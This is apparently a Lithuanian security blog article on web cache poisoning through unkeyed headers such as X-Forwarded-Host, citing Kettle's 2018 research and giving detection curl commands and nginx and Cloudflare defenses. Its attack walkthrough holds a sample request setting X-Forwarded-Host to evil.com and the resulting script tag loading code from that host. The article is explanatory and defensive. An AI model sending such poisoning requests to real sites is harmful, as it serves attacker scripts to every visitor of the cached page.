Web Cache Poisoning: viena užklausa — tūkstančiai užkrėstų vartotojų.
Ankstesniuose straipsniuose nagrinėjome atakas kurioms reikia kad auka ką nors padarytų — paspaustų nuorodą, atidarytų laišką. Web Cache Poisoning veikia kitaip. Užpuolikas išsiunčia vieną HTTP užklausą ir eina gerti kavos. Kitas kelias valandas — ar dienas — visi svetainės lankytojai iš talpyklos gauna užkrėstą puslapį. Automatiškai, be jokios sąveikos.
2018 metais tyrėjas James Kettle iš PortSwigger Black Hat USA parodė kaip perėmė RedHat.com pagrindinį puslapį viena užklausa. „Mes tiesiog gavome visišką kontrolę virš RedHat.com pagrindinio puslapio, ir tai nebuvo labai sudėtinga,” — pasakė jis.
KAIP VEIKIA CDN TALPYKLA
CDN stovi tarp vartotojo ir serverio. Kai ateina pirmoji užklausa — CDN kreipiasi į kilmės serverį, gauna atsakymą ir išsaugo jį talpykloje. Visos vėlesnės užklausos tam pačiam URL gauna talpykloje esantį atsakymą nekreipiantis į serverį. Tai pagreitina svetainę ir sumažina serverio apkrovą.
Norėdamas nuspręsti kurį talpyklos atsakymą grąžinti, CDN naudoja talpyklos raktą — užklausos parametrų rinkinį kuris identifikuoja puslapį. Standartinis raktas: užklausos metodas + URL + antraštė Host.
GET /index.html HTTP/1.1
Host: target.com
# Talpyklos raktas: GET | target.com | /index.html
Viskas kas nepatenka į talpyklos raktą vadinama unkeyed input — nekeliamu įvedimu. CDN jį ignoruoja ieškant talpykloje, tačiau perduoda kilmės serveriui. Serveris gali naudoti šiuos duomenis atsakymui formuoti. Ir čia prasideda problema.
UNKEYED ANTRAŠTĖS — TALPYKLOS AKLAS TAŠKAS
Egzistuoja antraštės kurias CDN perduoda serveriui bet neįtraukia į talpyklos raktą. Dažniausios:
X-Forwarded-Host — alternatyvus Host serveriams už proxyX-Host — X-Forwarded-Host analogasX-Forwarded-Scheme — protokolas (http arba https)X-Forwarded-Port — portas
Daugelis framework’ų ir programų naudoja šias antraštes absoliutiems URL konstruoti atsakyme — nuorodose, skriptuose, redirect adresuose. Tai patogu dirbant už reverse proxy.
Tačiau CDN jų neįtraukia į talpyklos raktą. Tai reiškia kad dvi užklausos su skirtingomis X-Forwarded-Host reikšmėmis gaus tą patį talpykloje esantį atsakymą — tą kuris atėjo pirmas.
ATAKOS ANATOMIJA ŽINGSNIS PO ŽINGSNIO
1 žingsnis. Užpuolikas siunčia užklausą į pagrindinį puslapį su pakeista antrašte X-Forwarded-Host:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
2 žingsnis. CDN gauna užklausą, ieško talpykloje pagal raktą GET | target.com | / — talpykla tuščia arba pasenusi. Užklausa eina į kilmės serverį.
3 žingsnis. Serveris gauna abi antraštes. Jis naudoja X-Forwarded-Host absoliutiems URL konstruoti atsakyme. Vietoj https://target.com/static/app.js HTML atsiranda:
<script src="https://evil.com/static/app.js"></script>
4 žingsnis. CDN gauna atsakymą su nuodingu skriptu ir jį talpina pagal raktą GET | target.com | /. Jokių perspėjimų — atsakymas atrodo kaip bet kuris kitas.
5 žingsnis. Kiti tūkstančiai vartotojų atidaro pagrindinį puslapį ir iš talpyklos gauna HTML su skriptu evil.com/static/app.js. Jų naršyklės jį įkelia ir vykdo. Užpuolikas jau seniai išėjo.
REALŪS ATVEJAI
2018 m. rugpjūtį James Kettle pristatė „Practical Web Cache Poisoning” Black Hat USA. Jis parodė atakas prieš realias svetaines:
RedHat.com — antraštė X-Forwarded-Host buvo naudojama Open Graph žymų URL generavimui HTML. Kettle pakeitė ją savo domenu, CDN užkešavo atsakymą. RedHat.com pagrindinis puslapis pradėjo įkelti resursus iš užpuoliko serverio visiems lankytojams.
Mozilla Firefox Shield — Firefox atnaujinimų ir plėtinių pristatymo mechanizmas. Kettle apnuodijo atsakymo talpyklą kurį Firefox gauna paleisdamas naršyklę. Ataka leido paveikti naršyklės elgesį visiems vartotojams gavusiems apnuodytą talpykloje esantį atsakymą.
Cloudflare pagal nutylėjimą ignoruoja antraštę Vary — tai užfiksuota jo oficialioje dokumentacijoje: „Cloudflare does not consider vary values in caching decisions.” Dvi išimtys: Vary: Accept-Encoding palaikoma visuose planuose; Vary vaizdams — tik mokamose Pro ir aukštesnėse planų versijose. Talpyklos apnuodijimui per X-Forwarded-Host nei vienas nepadeda.
KAIP PATIKRINTI SAVO SVETAINĘ
1 žingsnis. Raskite unkeyed antraštes — tas kurios veikia atsakymą bet nėra talpyklos rakte. Naudokite cache buster kad netyčia nieko neužkešuotumėte. Cache buster — tai unikalus parametras URL (?cb=test123) kuris padaro užklausą unikalia ir verčia CDN eiti į serverį, o ne grąžinti kešą. Be jo testas gali patekti į kešą ir apnuodyti realius vartotojus:
# Pridedame unikalų parametrą kad nepatektume į realią talpyklą
curl -s "https://target.com/?cb=test123" \
-H "X-Forwarded-Host: canary.example.com" | grep "canary"
Jei atsakyme pasirodė canary.example.com — serveris naudoja tą antraštę atsakyme. Tai unkeyed input.
2 žingsnis. Patikrinkite ar atsakymas kešuojamas — žiūrime į antraštę X-Cache:
curl -sI "https://target.com/" | grep -i "x-cache\|cf-cache\|age"
X-Cache: HIT reiškia atsakymas atėjo iš talpyklos. X-Cache: MISS — iš serverio. Age: 120 — atsakymas talpykloje jau 120 sekundžių.
Jei antraštė naudojama atsakyme IR atsakymas kešuojamas — svetainė potencialiai pažeidžiama.
APSAUGA
Nenaudoti unkeyed antraščių URL konstruoti
Patikimiausia apsauga — nepasitikėti antraštėmis X-Forwarded-Host, X-Host ir panašiomis generuojant nuorodas. Svetainės bazinis URL turi būti nurodytas aiškiai konfigūracijoje:
# Blogai — imame host iš antraštės
base_url = request.headers.get('X-Forwarded-Host', request.host)
# Gerai — imame iš konfigūracijos
base_url = settings.BASE_URL # https://mysite.com
Pašalinti pavojingas antraštes nginx prieš programą
Jei programa neturėtų matyti šių antraščių — pašaliname jas nginx lygmenyje:
server {
listen 80;
server_name mysite.com;
# Pakeičiame potencialiai pavojingas antraštes tikra host reikšme
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Host $host;
location / {
proxy_pass http://backend;
}
}
Čia mes ne tiesiog ištrinsime antraštę — mes eksplicitiškai nustatome jos reikšmę lygia $host (tikrai nginx host). Programa gaus teisingą reikšmę nepriklausomai nuo to ką atsiuntė klientas.
Pridėti unkeyed antraštes į talpyklos raktą per Vary
Atsakymo antraštė Vary nurodo CDN kurios užklausos antraštės turi įeiti į talpyklos raktą. Pridėjus ten X-Forwarded-Host — CDN kešuos atskirus atsakymus kiekvienai tos antraštės reikšmei:
Vary: X-Forwarded-Host
Svarbus apribojimas: ne visi CDN gerbia Vary. Cloudflare jį pagal nutylėjimą ignoruoja. Todėl Vary yra papildoma priemonė, ne pagrindinė.
Sukonfigūruoti talpyklos taisykles Cloudflare
Cloudflare Cache Rules leidžia konfigūruoti talpyklos raktą. Pagrindinės opcijos (talpykla pagal įrenginio tipą, query string rūšiavimas) prieinamos visuose planuose. HTTP antraščių pridėjimas į talpyklos raktą yra Enterprise plano funkcija. Žemesniems nei Enterprise planams — tą patį galima padaryti per Cloudflare Workers (Cache API) be Enterprise prenumeratos.
Dashboard → Rules → Cache Rules → Create Rule → Cache key → Add setting.
TIPINĖS KLAIDOS
Manoma kad HTTPS apsaugo nuo talpyklos apnuodijimo. Neapsaugo — ataka veikia HTTP antraščių lygmenyje, TLS čia nesvarbu.
Tikrinamas tik pagrindinis puslapis. Ataka veikia bet kuriame kešuojamame puslapyje — statiniuose failuose, API atsakymuose, kategorijų puslapiuose. Kettle rado pažeidžiamumų būtent pagrindiniuose puslapiuose nes jie kešuojami agresyviau.
Pasikliaunama tik antrašte Vary. Cloudflare ir kai kurie kiti CDN ją ignoruoja. Pagrindinė apsauga yra programos ir nginx lygmenyje.
Neišvalomi X antraštės iš API endpoint manant kad API nekešuojamas. Jei CDN sukonfigūruotas agresyviai arba programuotojas pridėjo Cache-Control: public — kešuojamas.
IŠVADA
Web Cache Poisoning išplečia Host antraštės ataką iki lygio kuris nereikalauja sąveikos su auka. Viena užklausa, kelios sekundės — ir tūkstančiai vartotojų gauna apnuodytą puslapį kol talpykla neatsinaujina.
Susirūpinti turėtų visi pas kuriuos stovi CDN ir kurių programa naudoja X-Forwarded-Host ar panašias antraštes URL konstruoti. Patikrinti paprasta — curl su žymės parametru ir grep rezultate.
Apsauga kuriama ne CDN, o programos ir nginx lygmenyje: aiškus BASE_URL konfigūracijoje, pavojingų antraščių pašalinimas reverse proxy lygyje, ir jokio pasitikėjimo tuo ką klientas siunčia X antraštėse.
